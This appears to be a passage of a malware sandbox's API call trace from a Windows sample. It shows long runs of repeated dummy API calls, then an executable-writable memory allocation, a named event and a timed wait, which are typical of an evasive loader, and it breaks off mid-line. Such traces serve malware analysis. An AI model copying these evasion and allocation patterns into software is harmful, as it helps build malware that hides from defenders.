hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.669] SymCleanup (hProcess=0x0) returned 0 [0185.669] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.669] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.669] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.669] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=336, param_4=788, param_5=0x0, param_6=0x0) returned 0 [0185.669] GetLastError () returned 0x579 [0185.669] SetLastError (dwErrCode=0x579) [0185.669] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.669] SymCleanup (hProcess=0x0) returned 0 [0185.669] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.669] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.669] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.669] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.669] GetLastError () returned 0x579 [0185.669] SetLastError (dwErrCode=0x579) [0185.669] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.669] SymCleanup (hProcess=0x0) returned 0 [0185.670] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.670] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.670] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.670] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.670] GetLastError () returned 0x579 [0185.670] SetLastError (dwErrCode=0x579) [0185.670] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.670] SymCleanup (hProcess=0x0) returned 0 [0185.670] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.670] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.670] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.670] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.670] GetLastError () returned 0x579 [0185.670] SetLastError (dwErrCode=0x579) [0185.670] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.670] SymCleanup (hProcess=0x0) returned 0 [0185.670] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.670] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.670] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.670] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.670] GetLastError () returned 0x579 [0185.670] SetLastError (dwErrCode=0x579) [0185.670] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.670] SymCleanup (hProcess=0x0) returned 0 [0185.670] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.671] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.671] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.671] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=352, param_4=145, param_5=0x0, param_6=0x0) returned 0 [0185.671] GetLastError () returned 0x579 [0185.671] SetLastError (dwErrCode=0x579) [0185.671] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.671] SymCleanup (hProcess=0x0) returned 0 [0185.671] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.671] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.671] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.671] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.671] GetLastError () returned 0x579 [0185.671] SetLastError (dwErrCode=0x579) [0185.671] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.671] SymCleanup (hProcess=0x0) returned 0 [0185.671] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.671] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.671] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.671] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.671] GetLastError () returned 0x579 [0185.671] SetLastError (dwErrCode=0x579) [0185.671] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.671] SymCleanup (hProcess=0x0) returned 0 [0185.671] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.671] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.672] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.672] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.672] GetLastError () returned 0x579 [0185.672] SetLastError (dwErrCode=0x579) [0185.672] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.672] SymCleanup (hProcess=0x0) returned 0 [0185.672] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.672] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.672] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.672] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.672] GetLastError () returned 0x579 [0185.672] SetLastError (dwErrCode=0x579) [0185.672] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.672] SymCleanup (hProcess=0x0) returned 0 [0185.672] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.672] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.672] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.672] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1109, param_4=228, param_5=0x0, param_6=0x0) returned 0 [0185.672] GetLastError () returned 0x579 [0185.672] SetLastError (dwErrCode=0x579) [0185.672] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.672] SymCleanup (hProcess=0x0) returned 0 [0185.672] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.672] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.673] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.673] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.673] GetLastError () returned 0x579 [0185.673] SetLastError (dwErrCode=0x579) [0185.673] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.673] SymCleanup (hProcess=0x0) returned 0 [0185.673] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.673] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.673] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.673] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.673] GetLastError () returned 0x579 [0185.673] SetLastError (dwErrCode=0x579) [0185.673] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.673] SymCleanup (hProcess=0x0) returned 0 [0185.673] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.673] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.673] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.673] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.673] GetLastError () returned 0x579 [0185.673] SetLastError (dwErrCode=0x579) [0185.673] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.673] SymCleanup (hProcess=0x0) returned 0 [0185.673] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.673] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.673] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.674] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.674] GetLastError () returned 0x579 [0185.674] SetLastError (dwErrCode=0x579) [0185.674] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.674] SymCleanup (hProcess=0x0) returned 0 [0185.674] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.674] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.674] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.674] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=998, param_4=815, param_5=0x0, param_6=0x0) returned 0 [0185.674] GetLastError () returned 0x579 [0185.674] SetLastError (dwErrCode=0x579) [0185.674] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.674] SymCleanup (hProcess=0x0) returned 0 [0185.674] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.674] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.674] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.674] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.674] GetLastError () returned 0x579 [0185.674] SetLastError (dwErrCode=0x579) [0185.674] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.674] SymCleanup (hProcess=0x0) returned 0 [0185.674] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.674] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.674] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.675] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.675] GetLastError () returned 0x579 [0185.675] SetLastError (dwErrCode=0x579) [0185.675] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.675] SymCleanup (hProcess=0x0) returned 0 [0185.675] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.675] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.675] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.675] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.675] GetLastError () returned 0x579 [0185.675] SetLastError (dwErrCode=0x579) [0185.675] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.675] SymCleanup (hProcess=0x0) returned 0 [0185.675] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.675] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.675] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.675] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.675] GetLastError () returned 0x579 [0185.675] SetLastError (dwErrCode=0x579) [0185.675] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.928] GradientFill () returned 0x0 [0185.930] GetClientRect (in: hWnd=0x0, lpRect=0x19fa20 | out: lpRect=0x19fa20) returned 0 [0185.930] ClientToScreen (in: hWnd=0x0, lpPoint=0x19fa20 | out: lpPoint=0x19fa20) returned 0 [0185.930] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x40) returned 0x2060000 [0185.930] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x672d68 | out: hHeap=0x650000) returned 1 [0185.930] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x672e68 | out: hHeap=0x650000) returned 1 [0185.930] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x672c88 | out: hHeap=0x650000) returned 1 [0185.930] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="lifecicled") returned 0x33c [0185.930] GetCursorPos (in: lpPoint=0x19f9f0 | out: lpPoint=0x19f9f0*(x=1334, y=612)) returned 1 [0185.930] GetLocalTime (in: lpSystemTime=0x19fa08 | out: lpSystemTime=0x19fa08*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x5, wDay=0xc, wHour=0xb, wMinute=0x11, wSecond=0x16, wMilliseconds=0x37a)) [0185.930] SystemTimeToVariantTime (in: lpSystemTime=0x19fa08, pvtime=0x19f9cc | out: pvtime=0x19f9cc) returned 1 [0185.930] SystemTimeToVariantTime (in: lpSystemTime=0x19fa08, pvtime=0x19f9e8 | out: pvtime=0x19f9e8) returned 1 [0185.930] UuidCreate (in: Uuid=0x19fa08 | out: Uuid=0x19fa08) returned 0x0 [0185.930] GetCursorPos (in: lpPoint=0x19f9bc | out: lpPoint=0x19f9bc*(x=1334, y=612)) returned 1 [0185.931] UuidToStringW (in: Uuid=0x19fa08, StringUuid=0x19f9e8 | out: StringUuid=0x19f9e8) returned 0x0 [0185.931] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xbae) returned 0x102 [0188.929] UuidCreate (in: Uuid=0x19fa08 | out: Uuid=0x19fa08) returned 0x0 [0188.929] GetCursorPos (in: lpPoint=0x19f9bc | out: lpPoint=0x19f9bc*(x=1334, y=612)) returned 1 [0188.929] UuidToStringW (in: Uuid=0x19fa08, StringUuid=0x19f9e8 | out: StringUuid=0x19f9e8) returned 0x0 [0188.929] CoTaskMemFree (pv=0x673698) [0188.929] MMDeviceEnumerator:IUnknown:Release (This=0x6752b0) returned 0x1 [0188.930] MMDeviceEnumerator:IUnknown:Release (This=0x65b710) returned 0x0 [0188.996] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x28) returned 0x673938 [0188.996] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x14) returned 0x672cc8 [0188.996] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x657a90 [0188.996] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x28) returned 0x6735a8 [0188.996] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x14) returned 0x672d28 [0188.996] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x679418 [0188.996] GetLastError () returned 0x0 [0188.996] SetLastError (dwErrCode=0x0) [0188.997] GetLastError () returned 0x0 [0188.997] SetLastError (dwErrCode=0x0) [0188.997] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb8) returned 0x65e538 [0188.997] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6a6) returned 0x6d4390 [0188.997] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d4390 | out: hHeap=0x650000) returned 1 [0188.997] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66bf98 | out: hHeap=0x650000) returned 1 [0188.997] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x660610 | out: hHeap=0x650000) returned 1 [0188.997] GetLastError () returned 0x0 [0188.997] SetLastError (dwErrCode=0x0) [0188.997] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x679528 [0188.997] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x2) returned 0x679408 [0188.997] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x4) returned 0x679498 [0188.997] GetLastError () returned 0x0 [0188.997] SetLastError (dwErrCode=0x0) [0188.997] GetLastError () returned 0x0 [0188.997] SetLastError (dwErrCode=0x0) [0188.997] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb8) returned 0x660610 [0188.997] GetLastError () returned 0x0 [0188.997] SetLastError (dwErrCode=0x0) [0188.997] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6a6) returned 0x6d4390 [0188.997] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d4390 | out: hHeap=0x650000) returned 1 [0188.997] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x679528 | out: hHeap=0x650000) returned 1 [0188.997] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x65e538 | out: hHeap=0x650000) returned 1 [0188.997] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x679498 | out: hHeap=0x650000) returned 1 [0188.997] GetLastError () returned 0x0 [0188.997] SetLastError (dwErrCode=0x0) [0188.997] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x679428 [0188.998] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x2) returned 0x679488 [0188.998] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x4) returned 0x679438 [0188.998] GetLastError () returned 0x0 [0188.998] SetLastError (dwErrCode=0x0) [0188.998] GetLastError () returned 0x0 [0188.998] SetLastError (dwErrCode=0x0) [0188.998] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb8) returned 0x65e538 [0188.998] GetLastError () returned 0x0 [0188.998] SetLastError (dwErrCode=0x0) [0188.998] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6a6) returned 0x6d4390 [0188.998] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d4390 | out: hHeap=0x650000) returned 1 [0188.998] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x679428 | out: hHeap=0x650000) returned 1 [0188.998] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x660610 | out: hHeap=0x650000) returned 1 [0188.998] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x679438 | out: hHeap=0x650000) returned 1 [0188.998] GetLastError () returned 0x0 [0188.998] SetLastError (dwErrCode=0x0) [0188.998] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x679548 [0188.998] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x679488 | out: hHeap=0x650000) returned 1 [0188.998] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x679408 | out: hHeap=0x650000) returned 1 [0188.998] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x679398 [0188.998] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40) returned 0x674868 [0188.998] GetLastError () returned 0x0 [0188.998] SetLastError (dwErrCode=0x0) [0188.999] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x18) returned 0x672c88 [0188.999] GetLastError () returned 0x0 [0188.999] SetLastError (dwErrCode=0x0) [0188.999] GetLastError () returned 0x0 [0188.999] SetLastError (dwErrCode=0x0) [0188.999] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb8) returned 0x660610 [0188.999] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6a6) returned 0x6d4390 [0188.999] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d4390 | out: hHeap=0x650000) returned 1 [0188.999] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x679548 | out: hHeap=0x650000) returned 1 [0188.999] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x65e538 | out: hHeap=0x650000) returned 1 [0188.999] GetLastError () returned 0x0 [0188.999] SetLastError (dwErrCode=0x0) [0188.999] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x679428 [0188.999] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x2) returned 0x6794a8 [0188.999] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x4) returned 0x679448 [0188.999] GetLastError () returned 0x0 [0188.999] SetLastError (dwErrCode=0x0) [0188.999] GetLastError () returned 0x0 [0188.999] SetLastError (dwErrCode=0x0) [0188.999] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb8) returned 0x65e538 [0188.999] GetLastError () returned 0x0 [0188.999] SetLastError (dwErrCode=0x0) [0188.999] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6a6) returned 0x6d4390 [0188.999] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d4390 | out: hHeap=0x650000) returned 1 [0188.999] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x679428 | out: hHeap=0x650000) returned 1 [0189.000] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x660610 | out: hHeap=0x650000) returned 1 [0189.000] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x679448 | out: hHeap=0x650000) returned 1 [0189.000] GetLastError () returned 0x0 [0189.000] SetLastError (dwErrCode=0x0) [0189.000] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x679428 [0189.000] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x2) returned 0x6794c8 [0189.000] GetLastError () returned 0x0 [0189.000] SetLastError (dwErrCode=0x0) [0189.000] GetLastError () returned 0x0 [0189.000] SetLastError (dwErrCode=0x0) [0189.000] GetLastError () returned 0x0 [0189.000] SetLastError (dwErrCode=0x0) [0189.000] GetLastError () returned 0x0 [0189.000] SetLastError (dwErrCode=0x0) [0189.000] GetLastError () returned 0x0 [0189.000] SetLastError (dwErrCode=0x0) [0189.000] GetLastError () returned 0x0 [0189.000] SetLastError (dwErrCode=0x0) [0189.000] GetLastError () returned 0x0 [0189.000] SetLastError (dwErrCode=0x0) [0189.000] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x1) returned 0x679438 [0189.000] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x6) returned 0x679448 [0189.000] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x5) returned 0x679468 [0189.000] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x4) returned 0x679478 [0189.000] GetLastError () returned 0x0 [0189.000] SetLastError (dwErrCode=0x0) [0189.000] GetLastError () returned 0x0 [0189.000] SetLastError (dwErrCode=0x0) [0189.000] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb8) returned 0x660610 [0189.001] GetLastError () returned 0x0 [0189.001] SetLastError (dwErrCode=0x0) [0189.001] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6a6) returned 0x6d4390 [0189.001] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d4390 | out: hHeap=0x650000) returned 1 [0189.001] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x679428 | out: hHeap=0x650000) returned 1 [0189.001] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x65e538 | out: hHeap=0x650000) returned 1 [0189.001] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x679478 | out: hHeap=0x650000) returned 1 [0189.001] GetLastError () returned 0x0 [0189.001] SetLastError (dwErrCode=0x0) [0189.001] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x679478 [0189.001] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6794c8 | out: hHeap=0x650000) returned 1 [0189.001] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6794a8 | out: hHeap=0x650000) returned 1 [0189.001] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x6794a8 [0189.001] GetLastError () returned 0x0 [0189.001] SetLastError (dwErrCode=0x0) [0189.001] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1000) returned 0x67d488 [0189.002] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x674868 | out: hHeap=0x650000) returned 1 [0189.002] GetLastError () returned 